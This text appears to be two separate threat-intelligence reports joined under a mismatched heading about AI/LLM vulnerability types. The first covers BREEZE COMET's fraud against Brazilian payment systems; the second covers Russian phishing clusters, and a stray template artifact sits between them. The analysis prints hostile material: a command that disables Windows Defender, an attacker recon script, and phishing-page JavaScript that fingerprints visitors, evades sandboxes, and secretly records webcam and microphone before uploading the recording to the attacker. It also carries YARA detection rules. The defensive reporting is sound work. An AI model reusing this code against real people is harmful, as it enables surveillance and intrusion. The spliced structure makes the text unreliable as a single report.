Introduction 

Beginning in 2024 Mandiant investigated a string of compromises affecting Brazilian financial services, retail, and eCommerce organizations. Google Threat Intelligence Group (GTIG) tracks this activity as BREEZE COMET (formerly UNC5669), a financially motivated threat actor specializing in manipulating payment systems and banking software in Brazil to conduct fraudulent transfers. This activity overlaps with operations publicly reported as Plump Spider and SHADOW-AETHER-064. In this blog, we detail BREEZE COMET’s tactics and toolkit, and provide mitigation recommendations and detections to support organizations in defending against this active and developing threat.

BREEZE COMET tactics have evolved over time to leverage a customized malware suite and compromised, trusted websites to facilitate initial access, command and control (C2), and to interact with financial software and payment APIs. BREEZE COMET’s operational infrastructure may also indicate intent to expand their infrastructure footprint to other countries in Latin America and Africa. Additionally, we have evidence that BREEZE COMET is using generative artificial intelligence (AI) to support malware development, which may further increase the scale, speed, and sophistication of their operations in the future.  

BREEZE COMET Targets Brazilian Financial Technology 

BREEZE COMET operations target organizations with permission to conduct transactions through banking software, APIs, and payment systems such as Pix, STR, and Boleto. This typically includes banks, payment processors, retailers, exchanges, as well as fintech and banking software providers. 

To achieve their objective of conducting fraudulent transfers, BREEZE COMET must maintain:

• Access to the National Financial System Network (Rede Nacional do Setor Financeiro, RSFN) through an entity with this access.

• Access to mTLS credentials that allow sending authenticated payloads with transactional orders to Pix, STR (Brazilian Reserves Transfer System), or any transactional listener to be executed with minimal restrictions in the name of an organization with available funds.

• Persistent access to multiple accounts in targeted organizations’ Active Directory and/or cloud environments.

• Understanding of an organization’s transfer processing procedures, network controls, fintech integrations and anti-fraud systems.

In order to support these requirements, BREEZE COMET evolved to operate in multiple compromised environments at the same time, crafting custom C2 malware to automate activities such as reconnaissance, lateral movement, persistence, and exfiltration. 

Initial Compromise and Establish Foothold

BREEZE COMET has used various methods for initial access. In early compromises, Mandiant observed this threat actor use password spraying as well as voice calls impersonating IT support teams to convince users to install Remote Monitoring and Management (RMM) tools such as AnyDesk. Axur corroborates use of voice phishing, and suggests that the group has also attempted to recruit insiders at targeted organizations.

In mid-2025, GTIG observed BREEZE COMET using compromised Brazilian small government websites to stage RMM tools, infostealers disguised as legitimate tax or receipt documents (e.g., ComprovantePDF.exe), or backdoors such as XWORM set to persist via automated startup shortcut modifications. XWORM is a backdoor that is widely available for purchase on cyber crime forums, with leaked or “cracked” versions also available. BREEZE COMET then used these compromised government websites to facilitate social engineering operations for initial access, and as C2 endpoints. The use of compromised, trusted infrastructure allowed the threat actors to avoid detection by network domain reputation filters. GTIG also observed BREEZE COMET replicating this behavior with municipal domains in Nigeria, Paraguay, Ghana, and Venezuela, suggesting a potentially growing targeting focus. Analysis of compromised municipal domains indicated that BREEZE COMET reused the same staging infrastructure to host and deliver XWORM payloads across operations targeting multiple organizations.

In 2025, we first observed BREEZE COMET connect rogue hardware devices directly into retail store networks to establish footholds into targeted environments. From this initial network access, BREEZE COMET moved laterally to internal systems then downloaded the Netcat utility alongside custom scripts to pull down subsequent post-exploitation frameworks from external open directories. Trend Micro has reported that the group also exploited vulnerabilities in JBoss AS servers to gain initial access. 

Escalate Privileges & Internal Reconnaissance

BREEZE COMET used publicly available reconnaissance utilities such as Impacket, ADRecon and ADVipscan, as well as with custom malware, often profiting from environments with low observability. These utilities were often observed being downloaded from GitHub repositories and executed in memory via PowerShell for defense evasion. 

The threat actor deployed the custom LDAP brute-forcing utility REALBREEZE. Beyond traditional Active Directory compromise, BREEZE COMET specifically targets development and cloud environments to escalate privileges. The group actively mines continuous integration and continuous delivery (CI/CD) environments to steal hard-coded pipeline credentials, application programming interface (API) keys, and highly privileged cloud access tokens.

BREEZE COMET used custom scripts to search internal host files and environmental variables to identify mTLS credentials and administrative certificates necessary to authenticate against core banking systems. Observed search terms included: boleto, cnab, remessa, webhook.*pix and instant.*payment. 

Move Laterally

BREEZE COMET abuses standard protocols to navigate the network, using hijacked service accounts to initiate unauthorized Remote Desktop Protocol (RDP) sessions and execute commands via SMB network file shares. BREEZE COMET was observed executing network scanning tools across internal subnets specifically to enumerate available SMB pathways. 

To maneuver through segmented financial networks and bypass strict internal firewalls, BREEZE COMET deploys specialized routing malware: COBALTSPIN. Written in Rust, COBALTSPIN operates as a lightweight, evasive network tunneler, used to communicate with and maintain persistent network access to financial API infrastructure. By establishing a reverse SOCKS5 proxy over a WebSocket connection, COBALTSPIN routes network traffic securely back and forth between the C2 and internal targets, enabling lateral movement directly through boundary firewalls without requiring built-in persistence mechanisms that might trigger detection.

Maintain Presence: Orchestrating the Compromise via Bespoke C2 Frameworks

In 2024, BREEZE COMET relied on commercial RMM tools  to maintain access to targeted environments. In 2025, BREEZE COMET also deployed malicious Kubernetes pods to maintain persistence and steal cloud secrets, exfiltrating them to public facing notepad websites (such as dontpad[.]com). 

In 2025 and 2026 Mandiant identified multiple backdoors that BREEZE COMET developed to establish redundant access and expand their foothold in targeted environments.  

• LIGHTPAINT: This custom Java-based backdoor is specifically designed to install a legitimate VPN, such as SoftEther, and configure it for automated persistence. To protect this access, GTIG observed BREEZE COMET programmatically adding inbound Windows Defender Firewall rules to allow all traffic from the deployed VPN manager, while subsequently clearing the Windows Networking Vpn Plugin Platform  event logs to erase forensic evidence of the connection.

• MILDFROST: Operating as a passive Java JAR backdoor hiding inside the JVM process space, MILDFROST uses classes like DnsCommandBeacon.class to establish slow, covert DNS tunnels. It also serves as a fallback C2; it dynamically queries delegated subdomains to receive instructions and pull down fresh copies of the C++ executables.

• KICKPLATE: To continuously deliver auxiliary payloads and enforce host-level persistence, BREEZE COMET uses KICKPLATE. This custom Nim-based backdoor impersonates Windows Update Health Tools. It executes commands to control SOCKS5 tunnelers, update registry startup keys, and silently modify Windows services. The group supplements KICKPLATE by abusing native scheduled tasks (schtasks.exe running as SYSTEM) and malicious shortcut (.lnk) modifications in user startup folders.

• BOATBEAM: Adding a final layer to their redundant architecture, BREEZE COMET deploys BOATBEAM, a Golang backdoor that initiates a fake IIS HTTPS server on port 443. This artifact hides backdoor traffic by masquerading as a legitimate web server, only activating its C2 functionalities when it receives a specific session cookie.

To ensure these persistence mechanisms survive, BREEZE COMET actively impairs endpoint defenses. Telemetry confirms the threat actors executing direct PowerShell commands (Set-MpPreference -DisableRealtimeMonitoring $true) to disable Windows Defender's real-time monitoring across compromised hosts, guaranteeing their malware suite remains operational.

Furthermore, Mandiant identified evidence that BREEZE COMET used large language models (LLMs) to accelerate the creation of custom scripts for network reconnaissance, credential validation, mass deployment, victim-specific pivoting, and data extraction. Analysis of recovered BREEZE COMET scripts has shown the tools are highly customized and functional, but lack human idiosyncrasies, heavily relying on unrolled code structures, verbose explanatory comments, and standardized execution headers.

#!/bin/bash
# RODA DENTRO DO 10.0.9.9 - DIRETO NA REDE INTERNA

echo "###############################################"
echo "### STEP 1: ENUM ALL LINUX (SSH PORT 22) ###"
echo "###############################################"

# Scan SSH em todos os ranges conhecidos
echo "=== SCANNING SSH PORTS ==="
> /tmp/ssh_open.txt

Figure 1: Excerpt of script showing verbose comments

Complete Mission: Mass Fraudulent Transactions

Forensic evidence analyzed by Mandiant demonstrates that BREEZE COMET used COBALTSPIN and compromised privileged accounts to access core financial applications. Within 24-48 hours of establishing this access, the threat actor executed two waves of hundreds of fraudulent transactions, based on reporting by a client and third party forensic analysis. 

Subsequently, BREEZE COMET cleared event logs across compromised hosts to hide evidence of their lateral movement, privilege escalation, and interactions with APIs associated with financial software and payment systems. The attacker also deleted directories they had created during the compromise. 

Outlook and Implications

Since 2024, BREEZE COMET has steadily increased the complexity and effectiveness of their operations manipulating Brazilian financial systems and software, and has successfully executed at least one heist of tens of thousands of USD in assets. This analysis is intended to support financial services, fintech, retail, and government organizations, particularly in Brazil, to track and defend against BREEZE COMET.   

While the Latin American cybercrime ecosystem has historically been defined by client-side, high-volume retail fraud, BREEZE COMET’s campaigns represent a notable shift that may serve as a model for future financially motivated threats against organizations in this region.This transition from opportunistic retail banking fraud to direct intrusions into the core financial switch and instant payment infrastructure is notable not just for this shift in targeting, but also the capabilities of the threat actor. 

BREEZE COMET exemplifies how threat actors are operationalizing generative AI to enhance the speed, scale, and sophistication of their campaigns. By leveraging LLMs to generate bespoke reconnaissance scripts, validate credentials, and automate deployment workflows on the fly, the actor compresses the development lifecycle. This automation also lowers the operational threshold required to coordinate synchronized, multi-environment attacks. Finally, orchestrating their usage of AI-generated tooling alongside bespoke multi-language C2 architectures demonstrates how actors can elevate their overall capabilities and lower technical barriers to entry. The progression to a multi-tiered ecosystem—combining custom-built Rust, Nim, and Go backdoors with AI-accelerated operational scripts—demonstrates a measurable maturation in BREEZE COMET's technical capability.

As threat groups increasingly leverage LLMs to streamline routine tradecraft, defenders must anticipate shorter adversary turnaround times and heightened pressure on interconnected financial ecosystems.

Remediation and Hardening

Application Control & Unapproved Remote Management (RMM) Blocking

• Enforce Application Control (e.g. Windows WDAC, macOS Gatekeeper/MDM, or Linux fapolicyd) to block execution in user-writable directories (Windows  %APPDATA%, macOS ~/Downloads, Linux /tmp or /var/tmp).

• Partition Linux hosts to mount /tmp and /home with the noexec flag.

• Audit software inventory to alert on portable RMM execution and unapproved system service/daemon registrations.

• Train users on social engineering tactics impersonating IT Support.

Network Access Control & Branch Physical Hardening

• Deploy 802.1X Network Access Control (NAC) across physical Ethernet switch ports at branch/retail locations to prevent unauthorized hardware devices from obtaining an internet protocol (IP) address or communicating on internal subnets.

• Disable unused switch ports and enforce Port Security (e.g. MAC limiting) on critical network drops.

• Physically restrict access to networking closets and secure public-facing jacks.

Active Directory & Credential Hardening

• Restrict administrative utilities (e.g. ntdsutil.exe, vssadmin.exe) and alert on volume shadow copy creation/deletion.

• Enforce PowerShell Constrained Language Mode (CLM), Script Block Logging (Event ID 4104), and Antimalware Scan Interface (AMSI) to detect in-memory execution of reconnaissance scripts.

• Mandate phishing-resistant multifactor authentication (MFA) and lockout controls across all external portals (VPNs, Software-as-a-Service (SaaS)).

Deep Packet Inspection & Egress Traffic Control

• Perform SSL/TLS Decryption and Deep Packet Inspection (DPI) on outbound web traffic rather than relying on domain reputation or .gov top-level domain (TLD) allowlists.

• Block non-essential egress ports and protocols (e.g., outbound Internet Control Message Protocol (ICMP)) and restrict tunneling utilities like Chisel or GSocket).

• Segment networks to block lateral SMB (port 445) and RDP (port 3389) traffic between workstations and servers.

Kubernetes & Cloud Workload Isolation

• Enforce strict Kubernetes Role-Based Access Control (RBAC) using least privilege for service accounts.

• Use dynamic admission controllers (e.g., OPA Gatekeeper or Kyverno) and native Pod Security Admission (PSA) to block privileged containers.

• Apply egress network policies to block nodes and pods from accessing unauthorized public platforms.

Secrets Management & Financial System Micro-Segmentation

• Mandate a centralized Secrets Manager (e.g., HashiCorp Vault) with access logging; eliminate plaintext keys in code.

• Implement identity-based / Layer 7 micro-segmentation for financial workloads.

• Limit administrative access exclusively to dedicated jump hosts via privileged access management (PAM).

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

File Indicators

Network Indicators

Table 2: Network Indicators

Detections

Google Security Operations (SecOps)

Google SecOps customers have access to these broad category rules and more under the "Mandiant Hunting Rules" rule pack. The activity discussed in the blog post is detected in Google SecOps under the rule names:

• "Network DNS Connections To Pastebin"

• "Powershell Downloadstring Method With Suspicious Arguments"

• "Powershell Loading Net Assembly"

YARA Rules

rule M_Utility_REALBREEZE_2 {
    meta:
        author = "Google Threat Intelligence Group"
            
    strings:
        $s1 = "IP/REDE" wide
        $s2 = "SENHA" wide
        $s3 = "U\x00S\x00U\x00\xc1\x00R\x00I\x00O\x00:"
        $s4 = "Arquivo de Texto (*.txt)|*.txt" wide
        $s5 = "get_SamAccountName"
        $s6 = "get_txtHostname"

    condition:
      uint16(0) == 0x5A4D
      and all of them 

}

rule G_Tunneler_COBALTSPIN_1
{
  meta:
    author = "Google Threat Intelligence Group"
    
  strings:
    $p00_0 = {488985[4]72??4c8b47??4c8b6f??488985[4]eb??4989f04989c5488b85}
    $p00_1 = {4d8bae[4]4d85ed4c897d??897d??4c8975??89b5[4]74??498bbe[4]4d89ee}
  condition:
    uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
    (
      ($p00_0 in (560000..600000) and $p00_1 in (1500000..1600000))
    )
}

rule G_Backdoor_BOATBEAM_1
{
  meta:
    author = "Google Threat Intelligence Group"
    
  strings:
    $p00_0 = {4d89d84889ce488bbc24[4]e9[4]0f82[4]4c89ac24[4]4c89e74d29ec4c896424}
    $p00_1 = {e8[4]498903498973??498953??4d8943??488942??488957??4889f8488b4c24}
  condition:
    uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
    (
      ($p00_0 in (1500000..1600000) and $p00_1 in (2700000..2800000))
    )
}

rule G_Backdoor_MILDFROST_1 
{
  meta:

    author = "Google Threat Intelligence Group"
  
strings:
	$s1 = "sc tcp ok" fullword
	$s2 = "fl comando vazio" fullword
	$s3 = "noop" fullword
	$s4 = "wait:" fullword
	$s5 = "shell:" fullword
	$s6 = "exec:" fullword 
	$s7 = "upload," fullword
	$s8 = "dl|" fullword 
	$s9 = "tc|" fullword
condition:
	uint16(0)==0x5a4d and 7 of them

}

TOP 6 vulnerability types in products that implement or use AI/LLM logic, 2025–2026

Written by: Gabby Roncone, Wesley Shields

Overview 

Google Threat Intelligence Group (GTIG) is tracking three distinct suspected Russian cyber espionage threat clusters abusing legitimate authentication flows to target individuals working in academia, aerospace and defense, governments and think tanks across Europe, as well as academia and think tanks within the United States. Examples of these techniques can be found in our previous blog on UNC6293’s phishing operations. We now track an additional two distinct suspected Russian clusters, UNC7005 and UNC5976, which conduct phishing, abuse OAuth flows, and/or deploy malware to victims. UNC7005 in particular is tied to the hospitality captive portal redirects reported on by Reliaquest and Microsoft. While each group conducts their campaigns differently, they all ultimately demonstrate a focus on abuse of legitimate authentication workflows to compromise accounts.

These clusters engage in persistent, adaptive phishing campaigns, using sophisticated social engineering tactics to compromise personal accounts across multiple platforms. Because these operations abuse legitimate authentication flows which may not immediately seem like phishing attempts to users, GTIG is raising awareness about these social engineering campaigns targeting individuals so that targets can more readily recognize malicious outreach.   

UNC6293

We assess with moderate confidence that UNC6293 is a sub cluster of ICE RELIC (formerly APT29) responsible for initial access operations. UNC6293 operations were initially reported in June 2025 (also by Citizen Lab) as an aggressive app password phishing campaign against prominent individuals that are critical of Russia. App passwords are passcodes a user can set which gives a less secure app or device permission to access an account. In cases of app password phishing, attackers attempt to convince targets to set specific app passwords on their accounts, which the attackers then use to gain access to those accounts without needing two-factor authentication (2FA). As part of the previously documented UNC6293 campaign, the attacker impersonated the US State Department and attempted to lure targets into setting an app password named ms.state.gov. The instructions to do this were in a PDF that contained screenshots of the settings UNC6293 wanted the target to use.

In the intervening year, UNC6293 has continued to impersonate State Department officials and perform app password phishing. As one example, in October 2025, GTIG observed UNC6293 using a PDF lure document that contained the exact same screenshots as observed in June 2025, including the ms.state.gov reference. While in 2025, the attacker requested that the victims share the app password back to them via email, in these newer operations, the attacker asked for it to be entered into an authentication form on an otherwise legitimate looking website.

UNC6293 phishing campaigns tend to be small in scope, usually targeting fewer than five users at a time, and the application names and lures observed by GTIG tend to focus on diplomatic themes and upcoming conferences or meetings, such as those documented in December 2025 by Volexity.

Over time, UNC6293 continued impersonating the U.S State Department while incorporating OAuth phishing into their repertoire. In June 2026, GTIG observed OAuth phishing where UNC6293 requested targets share either the full URL or “verification code” after performing a legitimate login to an external provider. By providing the requested verification code the target would grant UNC6293 access to the account.

UNC7005 

UNC7005 (aka STORM-2945) is a threat cluster identified in February 2026 that primarily targets academia, diplomatic, and nonprofit personnel across Ukraine, Western Europe, and the US Although this group shares many high-level similarities with UNC6293, including targeting overlaps, we are tracking it separately due to its lower sophistication and poor operational security, infrastructure with divergent characteristics, and incorporation of malware. Similarly we assess with moderate confidence that UNC7005 is another initial access cluster connected to ICE RELIC.

App Password Phishing

Since at least February 2026, UNC7005 has conducted highly selective app password phishing operations targeting individuals of interest to the Russian state. These operations use similar social engineering tactics to UNC6293, but differ in that the app passwords used appear to be unique per target in all observed cases except one. They are specific to the theme used when social engineering the target, such as referencing the type of activity the target is supposedly engaging in (i.e. secure file sharing) and/or the organization UNC7005 is masquerading as.

Device Code Phishing

UNC7005 also conducts device code phishing operations for both Microsoft and WhatsApp accounts. The themes of these phishing waves often involve invitations for calls with individuals from notable organizations related to the target’s field or, most recently, invitations to diplomatic events and conferences. 

Microsoft Device Code Phishing

UNC7005 initially delivers Microsoft device code phishing attempts via email, which are sometimes sent from the attacker-controlled domains they create to masquerade as legitimate events and organizations. The emails contain links to these attacker websites which often use similar templates. For example, UNC7005 initially re-used the website template from a previous “embassy invite” themed operation in late April 2026 in a different operation spoofing the legitimate GLOBSEC forum in May 2026.

Upon accessing the webpage, the target’s system is fingerprinted, likely to check for an automated scanner accessing the page.

  (function(){
    var fp = {
      tid:   "3311a310cd4f40d4",
      sw:    screen.width,
      sh:    screen.height,
      tz:    Intl.DateTimeFormat().resolvedOptions().timeZone,
      lang:  navigator.language,
      plat:  navigator.platform,
      cores: navigator.hardwareConcurrency || null,
      mem:   navigator.deviceMemory   || null,
      touch: navigator.maxTouchPoints || 0,
    };
    fetch('/fingerprint', {
      method:   'POST',
      headers:  {'Content-Type': 'application/json'},
      body:     JSON.stringify(fp),
      keepalive: true,
    }).catch(function(){});

Figure 5: Initial system fingerprint for analysis evasion

code_block

<ListValue: []>

The target is prompted to confirm their attendance to the conference and register. The registration process is thorough, and notably contains an epicurean wine selection, which was a theme in multiple previous ICE RELIC-linked phishing campaigns.

Upon filling out the form, the target is once again prompted to submit their identity verification. Notably, in the GLOBSEC example, the text refers to “Embassy security policy” rather than GLOBSEC - an artifact from a previous operation.

Within days of identifying this activity, we observed the actor actively make changes to the operation. Citing technical difficulties in the page text, UNC7005 revised the template they used for social engineering, modifying the questions asked to the target as well as the color scheme (5b8d50c2e8cc3038b7c6e6dbf1219f6e814930a1e3c0053143a1191ae67f8ffc).

This time, UNC7005 included a script in the main registration page to attempt to detect and evade automated analysis efforts.

(function(){
      var h = false;
      try {
        // webdriver flag — set by ChromeDriver, Puppeteer, Selenium
        if (navigator.webdriver) h = true;
        // Headless Chrome has no plugins at all
        // Headless Chrome / PhantomJS often have no languages
        if (!h && (!navigator.languages || navigator.languages.length === 0)) h = true;
        // Chrome-specific runtime object absent in headless older builds
        if (!h && typeof window.chrome === 'undefined' &&
            /chrome/i.test(navigator.userAgent)) h = true;
        // Permission query behaves differently in headless
        if (!h && navigator.permissions) {
          navigator.permissions.query({name:'notifications'}).then(function(r){
            if (r.state === 'denied' && Notification.permission === 'default') {
              document.documentElement.innerHTML = '';
              window.stop();
            }
          }).catch(function(){});
        }
      } catch(e) { h = true; }
      if (h) { document.documentElement.innerHTML = ''; window.stop(); }
    })();

Figure 11: Second system fingerprint for analysis evasion

WhatsApp Device Linking (and More)

In May and June 2026, UNC7005 conducted social engineering operations spoofing WhatsApp. The phishing pages distributed by the attacker lure targets into linking their WhatsApp accounts with an attacker controlled device in order to join a secure WhatsApp call, chat, or document share. The attacker also attempts multiple other methods of compromise after the device is linked.

Upon accessing the page, the target is prompted to provide a phone number. The phone number is used to create a legitimate WhatsApp device link request with the attacker device, and then displays the legitimate QR and linking code to the target alongside instructions to the user to link their device.

After the target successfully links their account to the attacker's WhatsApp device, the phishing page displays an additional prompt to the user to either join a voice call, encrypted chat, or download a file.

If the target joins the voice call, malicious JavaScript to record target audio and video is triggered. The webpage presents a fake voice call with a ring for a limited amount of time while the audio and video are recorded. The recording would then be sent to the attacker command-and-control (C2) endpoint /api/code/<unique user session id>/recording when the call “fails”.

function startMediaRecording() {
    if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {
      return Promise.resolve();
    }
    return navigator.mediaDevices.getUserMedia({ video: true, audio: true })
      .then(function(stream) {
        mediaStream = stream;
        var selfVideo = document.getElementById('self-video');
        var selfView = document.getElementById('self-view');
        if (selfVideo && selfView) {
          selfVideo.srcObject = stream;
          selfView.style.display = '';
        }
        recordedChunks = [];
        var options = { mimeType: 'video/webm;codecs=vp8,opus' };
        if (!MediaRecorder.isTypeSupported(options.mimeType)) {
          options = { mimeType: 'video/webm' };
          if (!MediaRecorder.isTypeSupported(options.mimeType)) {
            options = {};
          }
        }
        mediaRecorder = new MediaRecorder(stream, options);
        mediaRecorder.ondataavailable = function(e) {
          if (e.data && e.data.size > 0) recordedChunks.push(e.data);
        };
        mediaRecorder.start(1000);
      })
      .catch(function() {
      });
  }
  
  [...]
  
  function uploadRecording() {
    if (mediaStream) {
      mediaStream.getTracks().forEach(function(t) { t.stop(); });
      mediaStream = null;
    }
    if (!recordedChunks.length) return;

    var blob = new Blob(recordedChunks, { type: recordedChunks[0].type || 'video/webm' });
    recordedChunks = [];
    var formData = new FormData();
    formData.append('recording', blob, 'recording_' + sessionId + '.webm');

    fetch('/api/code/' + sessionId + '/recording', { method: 'POST', body: formData })
      .then(function(r) { if (!r.ok) throw new Error('Upload failed'); })
      .catch(function() {
        return fetch('/api/code/' + sessionId + '/recording', { method: 'POST', body: formData });
      })
      .then(function(r) { if (r && !r.ok) throw new Error('Upload failed'); })
      .catch(function() {});
  }

Figure 15: Malicious JavaScript to record audio and visual of target and upload to C2

The phishing page may also present the target with a fake “encrypted chat” option after successful device linking. The JavaScript first renders chat credentials and an additional login URL with uniform resource identifier (URI) /chat/login. It prompts the user to copy the username and password presented to them to log in on the secondary URL. 

If the target was presented with a file transfer lure and successfully linked their WhatsApp account, the web page renders a file download button. GTIG is unable to assess what file may have been staged for download at this time. 

Browser Stealers & Malware-as-a-Service (MaaS)

In late May 2026, UNC7005 conducted a much broader phishing wave than any we had previously observed. This operation targeted prominent, mostly US based academics, diplomats, and researchers focused on Russia and former Soviet states. The email address used by the attacker in this operation was almost identical to one used in a UNC6293 operation in June 2025.

In this operation, UNC7005 distributed malicious URLs through phishing emails. If the target browsed to the URL from a Windows or macOS device, it directed targets to a landing page spoofing a “summit” related to a resolution to support Ukraine. If not, it displayed an error to the user and requested that they switch to another OS for compatibility.

The website was more elaborately built to social engineer the target, containing information about the various parts of the resolution and even contained contact information for the threat actor for questions or technical difficulties. 

If the target clicked the button to download a “Summit Companion App” to read the full resolution on Ukraine, they were served infostealer malware based on the OS indicated in the target’s User Agent.

Windows option

If the User Agent indicates that the target is browsing from a machine running Windows, the malicious webpage serves a sample of VIDAR to the target (1d9299799a7b8da67c44ebec064d64542c27645f8e84de4a22ca3f6cbc843e3c). This sample is an obfuscated Go binary with a C2 of 107.189.18[.]7. VIDAR is an infostealer operated as a Malware as a Service (MaaS) which primarily targets sensitive information stored in browsers, such as credentials, stored payment information, cookie information, and saved addresses, which it then sends to the C2 in plaintext. 

Mac option

If the User Agent indicates that the target is browsing from a machine running macOS, the malicious webpage served a sample of ATOMIC to the target (c5826032207d623a7f6caec8465af7364eccc355f9a48897da2a54f3e4420265). ATOMIC (aka AtomicStealer) is a macOS infostealer operated as a MaaS and also targets sensitive browser information. 

OAuth Phishing

Cloud Projects 

In early August 2026, UNC7005 began Google account OAuth phishing operations using cloud infrastructure. Beginning on July 31, 2026, UNC7005 registered domains spoofing the legitimate Finnish Operations Center (FOC), which supports Finnish companies in the defense and security markets, specifically in the context of the North Atlantic Treaty Organization (NATO). Between August 6 and August 13, 2026, UNC7005 sent targeted phishing emails linking to an attacker-controlled domain to targets in or related to the European defense industry.

Upon clicking “Get Access” or “Sign in With Google”, the target is redirected to a legitimate Google OAuth login page which prompts the target to sign in to their account to continue. If the target authenticates, they are redirected to an attacker-controlled, testing mode, unverified cloud project which is likely used to steal authentication tokens that grant the attacker access to the target account.

Other OAuth Phishing

In early August 2026, GTIG identified a highly targeted phishing operation in which UNC7005 sent legitimate Microsoft OAuth URLs directly to targets. The attacker email used in this operation was also used in the cloud project OAuth phishing operations.   

UNC7005 and the Hospitality Captive Portal Campaign

In late April 2026, GTIG began tracking UNC7005 infrastructure mimicking Microsoft authentication resources. As each domain appeared to be operationalized by the threat actor, GTIG took actions to add that infrastructure to the Safe Browsing blocklist. Consistent with public reporting, in mid-July 2026, GTIG began observing users redirected to this attacker infrastructure from captive portals associated with hotels and conference centers. On July 23, 2026, Reliaquest published a blog analyzing domain name system (DNS) requests showing captive portal redirects to attacker-controlled login pages spoofing Microsoft authentication resources. Later, on July 31, 2026, Microsoft detailed Midnight Blizzard activity leveraging captive portals on hospitality sector networks to serve malware or gain access to Microsoft accounts via device code phishing. 

For the duration of its lifetime, the set of infrastructure used in the captive portal campaign appeared to be used in multiple ways by the threat actor. GTIG linked this infrastructure directly to the other authentication-focused and malware operations conducted by UNC7005 dating back to April 2026.

A domain linked to the hospitality captive portal domain shares an Internet Protocol (IP) resolution with an UNC7005 domain used in an earlier device code phishing operation. 

• Between July 16 and July 23, 2026, UNC7005 registered three Microsoft Outlook Web Access (OWA) themed domains (owa-ms365[.]com, m365-owa[.]com, and ms365-device[.]com), which were later linked to the hospitality captive portal campaign, using the email chikolimdrid@gmail.com. 

• That attacker email was previously used to register an earlier domain masquerading as Microsoft, ms365-live.com which resolved to IP 104.194.159[.]150. 

• In April 2026, a domain used in the GLOBSEC-themed Microsoft device code phishing operation previously discussed in this blog, my-invite[.]org, resolved to IP 104.194.159[.]150. 

The actor also used additional domains spoofing Microsoft services in other operations. An earlier attacker-controlled domain spoofing Microsoft in late April 2026 (statistic-ms[.]live) was used by UNC7005 as C2 for Go malware we call ENGINELIGHT. This malware was sent in a limited phishing operation in early May 2026 from the attacker-controlled account bounce@chamber-ua.org, along with a domain spoofing WhatsApp (wa-connect[.]eu). Additionally, the attacker email used to register statistic-ms[.]live (keyereaonkendrick4@gmail.com) was used in the previously documented MaaS operation in late May 2026.

We have also observed tooling overlaps between campaigns conducted by UNC7005 and the tools reported to have been deployed in the captive portal operation. Samples of the CHERRYPIE PowerShell infostealer (also known as ChocoShell) contain numerous artifacts suggesting the malware is generated by a large language model (LLM). The prolific function comments mention an infostealer and specific function offsets noting functionality are located in the binary. Given GTIG’s observation of this threat actor leveraging MaaS in operations and functional overlaps between the malware families, such as consistency in types of data targeted by the malware, we suspect CHERRYPIE may be based on an infostealer purchased from MaaS operators.

UNC5976 

GTIG began tracking OAuth related activity from UNC5976, a suspected Russian cyber espionage cluster with an authentication focus, in March 2026. We believe this cluster to be distinct from UNC6293 and UNC7005.

One of the main themes of UNC5976 operations was the use of OAuth phishing techniques and automation of token collection via abuse of cloud infrastructure. To perform these OAuth phishing campaigns, UNC5976 purchased domains, usually using file sharing related domain names, and then created a cloud project related to that domain. These domains host a fake file sharing page. After a target visits the page for a few seconds, the page displays a pop up login dialog.

If the target clicks the “Continue with Google” link they are taken to a legitimate Google OAuth login page, asking the target to sign in to continue:

After authenticating, the target was redirected to a Google Cloud project URL. The cloud project hosted malicious scripts that retrieve the authentication token from the URL and save it for the operator to later retrieve.

Within approximately three months of initial discovery and disruption by GTIG, UNC5976 created at least twelve new domains and related infrastructure. In response, GTIG took steps to disable these cloud projects and disrupt these phishing activities. GTIG now assesses that UNC5976 is migrating away from Google infrastructure to other providers to host part of their phishing infrastructure.

In addition to these phishing pages, we have also observed UNC5976 leverage a malicious Excel plugin, which we named HEADRUSH. In April 2026, GTIG observed a HEADRUSH sample (2c7f4165967d6f7737b3fef87959846920b57a5368b531ad1427c7214d4c41a2) that ultimately led to an HTML Application (HTA) downloader. UNC5976 distributed this malware using a domain that impersonated a research institute in Ukraine and may have targeted a Ukrainian aerospace and imaging company. Unfortunately, GTIG was unable to determine the full extent of the infection chain at the time.

Attribution

GTIG assesses with high confidence that these three threat clusters - UNC6293, UNC7005, and UNC5976 - possess a Russian nexus, based on high-level targeting patterns, phishing themes, and shared operational techniques. While these operations often appear unique on the surface, several high-level TTPs used by UNC6293 and UNC7005 harken back to older, attributed ICE RELIC phishing operations between 2021 and 2024. 

ICE RELIC, UNC6293, AND UNC7005

GTIG assesses with moderate confidence that UNC6293 and UNC7005 are related to a subcluster of ICE RELIC that we associate with initial access operations. As such, UNC6293 and UNC7005 share operational methodologies but operate different infrastructure and tolerate different thresholds of OPSEC. 

• There is significant overlap in target industries (academia, NGOs, diplomacy, and defense) and geographic regions between historical ICE RELIC phishing operations and current UNC6293 and UNC7005 campaigns. 

• These groups continue to use specific legacy themes, such as diplomatic event invitations and specific references to wine, which have previously been documented in ICE RELIC activity.

• All clusters heavily rely on commercial residential proxies for post-compromise activity. 

Distinct, but noteworthy: UNC5976

UNC5976 remains distinct from the UNC6293 and UNC7005 clusters, potentially reflecting differing strategic mandates and potential alignment with alternative Russian intelligence services. 

• Its operational focus is primarily centered on the military, aerospace, defense industrial base, and NGOs/think tanks. Much of the group’s geographic targeting has centered on Ukraine and Armenia. 

• UNC5976 uses dedicated infrastructure for post-compromise activity rather than residential proxies. 

• UNC5976 has a much heavier malware and tooling footprint than the ICE RELIC-linked clusters, despite also conducting OAuth operations. 

Remediation and Hardening

At Google, we prioritize user safety. Google will actively disable known actor accounts and where possible, secure victims to remove access to known compromised accounts. We have taken action against infrastructure used to host malicious content in these operations. We strongly recommend users to not proceed past warnings for suspicious websites. Check the URL in your browser before entering credentials or authenticating to any website. Always contact official organizers directly using contact details found outside of the invitation to confirm the legitimacy of any invitation from an unknown contact. Although outreach over email or messenger applications may come from someone who appears to be a legitimate person, please consider the possibility that the persona may be spoofed.  

App passwords are not recommended and unnecessary in most cases. App passwords are not tools for account or identity verification. Do not share an app password with anyone else. We recommend revoking any legacy app passwords tied to devices that are lost, stolen, or no longer in use. If you believe you may have set an app password related to this campaign, follow instructions to remove app passwords from your account as soon as possible. App passwords can be removed at any time.

